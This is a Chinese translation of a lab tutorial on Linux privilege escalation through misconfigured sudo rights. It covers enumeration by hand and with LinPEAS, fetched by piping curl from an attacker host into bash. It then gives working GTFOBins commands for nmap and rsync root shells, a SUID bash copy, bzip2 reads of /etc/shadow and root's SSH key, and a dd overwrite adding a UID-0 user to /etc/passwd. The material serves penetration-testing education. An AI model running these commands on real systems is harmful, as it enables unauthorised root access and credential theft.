Linux 提权-Sudo_1
本文通过 Google 翻译 Sudo Part-1 – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
0、前言
对于这篇关于Linux权限提升技术的2部分文章,我们将深入探讨利用二进制sudo特权的各种方法。
这篇文章比我最初预期的要长,所以我不得不把它分成两部分。
在第 1 部分中,我们首先采取手动枚举当前用户以及sudo组的sudo权限。然后,我们再了解如何使用工具(LinPEAS)为我们枚举这些信息。
在枚举阶段,我们将发现当前用户可以使用sudo权限运行的总共有7个命令(二进制文件) 。
从这7个命令中,我们会发现其中4个使用标准二进制文件,我们可以通过利用 GTFObins 这个站点轻松利用这些二进制文件。
在第 2 部分中,我们将把重点转向更高级的利用主题,例如:滥用预期功能(即在 GTFOBins 上未发现的二进制文件的额外功能)、LD_PRELOAD、令牌重用以及针对sudo程序特定版本的两个 CVE 漏洞。
1、什么是 Sudo 以及它是如何工作?
Sudo 代表“super user do”,是一个二进制程序,它允许用户以另一个用户(一般是root)的身份运行程序。
然而,sudo不仅仅是一个二进制文件,它既是一个特权还是一个组。
sudo的主要目的是允许用户以 root 身份运行程序,否则他们无法以标准用户身份运行该程序。这创建了一个更“安全”的环境,因为用户不需要以 root 身份登录或 su root 去以 root 身份运行程序 - 它们可以简单地使用sudo来代替。
Sudo 还可以用于以非 root 用户身份运行程序,但这并不常见。
通常,这将被锁定为以 root 身份去运行单个命令,但它还可以通过命令包含特定参数的方式以更细粒度的去控制命令的部分功能以root身份去执行。例如,它可用于允许用户以 root 身份运行 systemctl,或者它可以更具体并允许用户仅重新启动指定的服务,如 systemctl ssh restart。
这极大地改变了用户对任何指定程序的 root 权限的访问权限。例如,仅使用systemctl,用户就可以以 root 身份运行任何参数并操作任何服务;然而,使用特定的命令行参数,用户只能执行一项任务。
或者,sudo权限可以设置为“ALL”,这意味着任何程序都可以作为 root 运行。本质上,这会导致对整个文件系统的完全根访问。
默认情况下,当用户拥有 sudo 权限时,需要输入密码(不是 root 密码)才能使用sudo命令。
1.1、Sudo 二进制、权限和组解释
如上所述,sudo是二进制、特权和组。但这到底意味着什么?
首先,sudo是一个程序(二进制),这意味着它有多个版本和更新。这同时也意味着sudo的某些版本可能具有公共漏洞和分配给它们的 CVE。
其次,sudo是一种特权,因为它为用户提供了以 root 身份运行程序的能力。这些权限在 /etc/sudoers 文件中被显式配置。
Sudo 权限可以通过几种不同的方式应用。如上所述,它们可以设置为运行“所有”程序、运行指定程序或使用指定参数运行指定程序。
sudoers文件可以通过多种方式进行配置,但大多数情况下它非常容易理解。我们经常会看到诸如“ALL”和“NOPASSWD”之类的内容,有时还会看到诸如 root 之类的用户名或其他名称,如下所示:
注:sudoers文件格式:sudo使用者帐号 登入者的来源主机名称=(可切换的身份) 可下达的指令
(ALL : ALL) ALL
(ALL : ALL) /some/program
(root) NOPASSWD: ALL
(user) /some/program
此列表只是一个简单的示例,并不详尽。
这里重点是…
- ALL:ALL 是程序可以运行的用户/组。这些可以设置为特定的用户/组 – 除非另有指定,否则全部默认为 root。
- NOPASSWD 意味着我们可以在不输入当前用户密码的情况下运行sudo 。
- 最后的 ALL 表示所有程序,但这也可以是特定程序。
要获得完整的理解,请查看sudo联机帮助页。
最后,sudo也是一个组。默认情况下,sudo组配置为在sudoers文件中运行 (ALL:ALL) ALL。
现在我们了解了sudo是什么以及它是如何工作的,让我们看看如何枚举它。
2、手动寻找 Sudo 权限
首先,假设我们已找到凭证并以标准用户 cain的身份通过 SSH 登录在目标 Linux 计算机上。
当涉及到枚举sudo权限时,作为标准用户的我们只能查看两点:
- 当前用户的sudo权限
- 在sudo组中的所有用户
2.1、枚举我们当前用户的 Sudo 权限
只有 root 才能查看/etc/sudoers文件,这就是为什么我们无法枚举所有其他用户的sudo权限。
但是,我们可以使用以下命令轻松检查当前用户可以使用sudo运行哪些程序:
sudo -l
在这里我们可以看到我们当前的用户cain能够使用sudo运行相当多的程序;对于上面的大部分程序来说,使用sudo执行时无需提供密码。
通常,这会提示我们输入当前用户的密码;然而,在本例中却没有,因为某些条目已设置了 NOPASSWD。
或者,如果系统提示我们输入密码但我们还不知道,我们应该开始考虑寻找一个密码。
要了解如何在 Linux 目标上执行密码搜索,请查看帖子。
虽然这向我们展示了当前用户可以使用sudo运行什么,但如果我们对其他用户可以运行什么也感兴趣怎么办?
2.2、枚举 Sudo 组中的用户
如上所述,除非我们是 root,否则我们无法读取sudoers文件;但是,我们可以检查sudo组中的任何用户。
为此,我们可以设置一个快速循环来获取系统上所有用户帐户的列表,然后对每个帐户运行id命令。
for user in $(cat /etc/passwd | awk -F: '{print $1}');do echo "$user" ; id "$user" ;done | grep -B 1 "sudo"
这里我们可以看到一个用户:juggernaut属于sudo组。
如果sudoers文件中sudo组的默认配置尚未更改,则意味着该用户在系统上拥有完全的sudo访问权限。
作为标准用户,这就是我们在sudo枚举方面所受到的限制。
3、自动寻找 Sudo 权限 – LinPEAS
LinPEAS 是后渗透枚举工具,因为它提供了大量信息。在受害者上运行后,我们将看到与手动枚举相同的所有内容,以及更多内容。
然而,在使用工具之前展示手动步骤非常重要,以便我们了解工具的输出以及要查找的内容。
如果您没有 LinPEAS 的副本,您可以 在这里获取一份。
通常,当我们运行 LinPEAS 时,我们会不带参数运行它来运行“所有检查”,然后从上到下逐行梳理所有输出。
3.1、在内存中执行 LinPEAS
获取 LinPEAS 的副本后,我们通常会将副本传输到受害者身上,然后执行它。相反,对于本示例,我们将直接将其下载并执行到内存中。
首先,我们需要在攻击者计算机的 linpeas.sh所在目录中设置一个 HTTP 服务器 。
python3 -m http.server 80
然后,回到受害者机器上,我们可以使用以下命令将 LinPEAS 下载并直接执行到内存中:
curl 172.16.1.30/linpeas.sh | bash
通过管道将命令传递到 bash,cURL 会将脚本输入 bash 并直接在内存中执行,而不会将其写入磁盘!
此处看到全为 0 确认该文件未下载到磁盘。这意味着脚本是直接在内存中执行的!
3.2、枚举 Sudo 权限
好吧,一旦脚本运行完毕,我们就可以梳理结果,看看 LinPEAS 枚举我们已经手动找到的东西的效果如何。
使用LinPEAS时,我们可以检查User Information部分来查找当前用户的sudo权限以及sudo组中的任何用户。
这表明,很多我们可以使用 sudo 运行的二进制文件都是红色/黄色,这意味着它们有 95% 的可能性会导致 root 升级。
在本例中,所有红色/黄色的结果表明可以在 GTFOBins 上轻松找到漏洞利用。
4、利用 Sudo 命令 – GTFOBins
为了开始利用示例,我们将使用 GTFOBins 来利用上面发现的四个红色/黄色标识的命令。
对于这些示例,了解 GTFOBins 是什么及其工作原理非常重要,因此让我们快速回顾一下。
GTFOBins 是 Unix 二进制文件的精选列表,可用于绕过配置错误的系统中的本地安全限制。
对于 GTFOBins 上可用的所有漏洞,它们都有一个共同点,即它们假设以 root 身份执行。
尽管如此,GTFOBins 还是针对我们可能遇到的不同情况(sudo,SUID等)展示了不同的技术。
无论如何,当涉及到sudo时,我们总是以 root 身份执行二进制文件,这意味着我们不应该将自己限制在 GTFOBins 上提供的漏洞利用上【注:例如上面出现的sudo apache命令】。
还需要注意的是,并非sudoers文件中的每个易受攻击的条目都会立即生成 root shell。相反,它们可能提供以 root 身份执行诸如读取或写入文件之类的操作的能力。
4.1、利用简单Shell二进制 – nmap 和 rsync
我们当前用户可以使用sudo运行的两个程序是nmap和rsync。幸运的是,这两个二进制文件很容易被利用并升级为 root。
4.1.1、Nmap
从nmap开始,我们可以看到 GTFOBins 上有两种看起来很有趣的不同漏洞利用。
第一个创建一个执行 /bin/sh 的脚本,然后使用nmap执行该脚本。
或者,第二个使用可以作为 root 打破的“交互”模式。不过,该漏洞有版本要求,仅适用于 2.02 – 5.21 版本。
Nmap Version 2.02 – 5.21
由于利用 B 更“容易”,我们可以通过检查主机上运行的 nmap 版本来实现。
/usr/bin/nmap --version
完美的!我们可以看到版本是3.81,属于易受攻击的范围。
由于该版本容易受到漏洞利用 (b),因此我们可以简单地使用 GTFOBins 提供的命令并获取 root shell。
提示:当使用 GTFOBins 上发现的漏洞时,请始终使用 sudo -l 输出中找到的二进制文件的绝对路径。
sudo /usr/bin/nmap --interactive
!sh
Nmap Version >5.21
然而,如果我们碰巧发现版本>5.21,那么我们就必须使用exploit(a)。
/usr/bin/nmap --version
我们所要做的就是简单地复制并粘贴我们在 GTFOBins 上看到的漏洞利用程序。
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo /usr/bin/nmap --script=$TF
Boom!它是有效的,但是 shell 非常不稳定,我们看不到我们输入的任何内容。例如,上面我输入whoami它输出“root”,但我们看不到我们执行命令的痕迹。
因为这个 shell 不稳定,所以我们可以通过将 bash 复制到 /tmp 并提供SUID位来升级它。一旦完成,我们就可以退出这个 shell 并进入稳定的 shell。
cp /bin/bash /tmp && chmod 4755 /tmp/bash
exit
将上面的两个命令复制并粘贴到终端后,除了退出并返回到常规提示符之外,我们看不到任何其他内容。
但是当我们检查/tmp目录时,我们可以看到 SUID bash 正在等待着我们!
现在我们可以简单地使用以下命令进入稳定的 root shell:
/tmp/bash -p
4.1.2、Rsync
Rsync 是更容易利用并进入 root shell 的二进制文件之一。
检查 GTFOBins,我们可以看到可以通过单个命令来利用这一点。
并测试漏洞利用,它起作用并让我们进入root shell!
sudo /usr/bin/rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
我们可以将 'sh' 替换为 'bash';然而,这实际上破坏了一些漏洞。因此,最好在使用“sh”获取 shell 后使用命令/bin/bash -p 。
Cool!这是我们的两个“easy shell”示例。接下来,我们将研究允许以 root 身份对文件进行读/写访问的二进制文件:bzip2和dd。
4.2、利用读/写二进制文件 – bzip2 和 dd
并非 LinPEAS 发现的所有红色/黄色命令都会产生easy root shell。有时,我们需要做更多的工作才能提升权限。
对于这两个示例,我们将看到文件读取 ( bzip2 ) 和文件写入 ( dd ) 漏洞将有助于获取 root shell,但不会立即生成 root shell。
4.2.1、Bzip2 – 文件读取漏洞
当谈到文件读取漏洞时,我们想要尝试并瞄准一些关键文件。
我们可以以 /etc/shadow 文件为目标,然后开始破解哈希值;然而,我们可以寻找的另一个好文件是root SSH key。
虽然破解哈希值可能会为我们提供 root 密码,但 SSH 密钥将使我们能够以 root 身份立刻访问。
首先,我们需要检查如何从 GTFOBins 中使用bzip2读取文件。
在这里我们可以看到 GTFOBins 使用变量来设置要读取的文件,但我们不需要执行所有这些操作。
相反,我们可以只运行第二个命令并直接在命令行上指定我们想要读取的文件。
请记住在命令开头添加sudo并使用二进制文件的绝对路径!
例如,如果我们想从shadow文件中获取所有哈希值,我们可以使用以下命令来实现:
sudo bzip2 -c /etc/shadow | sudo bzip2 -d | grep '$6'
要了解如何使用 John the Ripper破解 Shadow 哈希,请查看这篇文章。或者,要了解如何使用hashcat来完成此操作 ,请查看 这篇文章。
或者,我们可能会幸运地找到 SSH 密钥。
sudo bzip2 -c /root/.ssh/id_rsa | sudo bzip2 -d
Boom!现在我们可以简单地将此密钥复制到攻击者计算机上的文件中,然后使用它以 root 身份登录。
要以 root 身份登录,我们可以将-i标志传递到ssh命令中。
ssh -i ./root_id_rsa root@172.16.1.175
4.2.2、dd – 文件写入漏洞
有趣的是,大多数具有文件写入漏洞的二进制文件是最难利用的。原因是,它们通常需要利用漏洞链接来升级权限。
例如,对于大多数二进制文件,将文件作为root写入意味着能够将新文件作为root写入。这不应该与编辑文件的能力相混淆,除非二进制文件是文本编辑器或类似的东西。
让我们看一下GTFOBins 上的dd二进制文件,以便更好地理解我的意思。
这表明我们可以使用 echo 将数据写入文件。现在,因为我们有写权限,所以我们可以覆盖任何我们想要的文件。
不幸的是,我们将用一行覆盖该文件,因此替换任何重要文件(例如: passwd、shadow、sudoers和crontab )都是非常危险的。
或者,我们可以以 root 身份编写一个新文件,但这对我们没有任何帮助……
echo "This file is owned by root" | sudo dd of=/tmp/test
那么我们如何利用这一点呢?
结合文件读取和文件写入漏洞来有效编辑文件
通常感觉这可能是一条死胡同;然而,这也可能归结为理解二进制文件的工作原理。
例如,使用dd我们可以结合文件读取(输入文件)和文件写入(输出文件)来有效地编辑文件。
为此,我们将以 /etc/passwd 文件为目标,因为它是世界可读的。
首先,我们需要将passwd文件复制到可写目录中。
cp /etc/passwd /tmp
接下来,我们需要返回攻击者机器并使用 openssl创建一个哈希密码。对于这个例子,我们将保持简单并将密码设置为“ password ”。
openssl passwd password
运行命令后,我们将获得一个哈希值 ShuKpZV7v9akI – 请将此值放在手边,因为我们将在下一个命令中需要它。
去创建名为r00t的第二个 root 用户 ,我们可以将以下行添加到passwd文件中 – r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash
echo 'r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash' >> ./passwd
因为 UID 和 GID 设置为“0”,所以用户“r00t”实际上是 root。
现在,我们需要做的就是使用dd读取(输入)编辑后的passwd文件,然后写入(输出)它来代替原始文件。
sudo dd if=/tmp/passwd of=/etc/passwd
Boom!我们成功地将新的 root 用户添加到 etc/passwd文件中!
现在我们可以简单地使用su命令来获取 root shell。
5、最后的想法
这些都是好东西,但就 GTFObins 上可找到的易受攻击二进制文件的数量而言,我们只是刚刚触及表面。
继续第 2 部分,我们将把重点从 GTFOBins 上发现的二进制文件转移到一些更高级的sudo利用技术。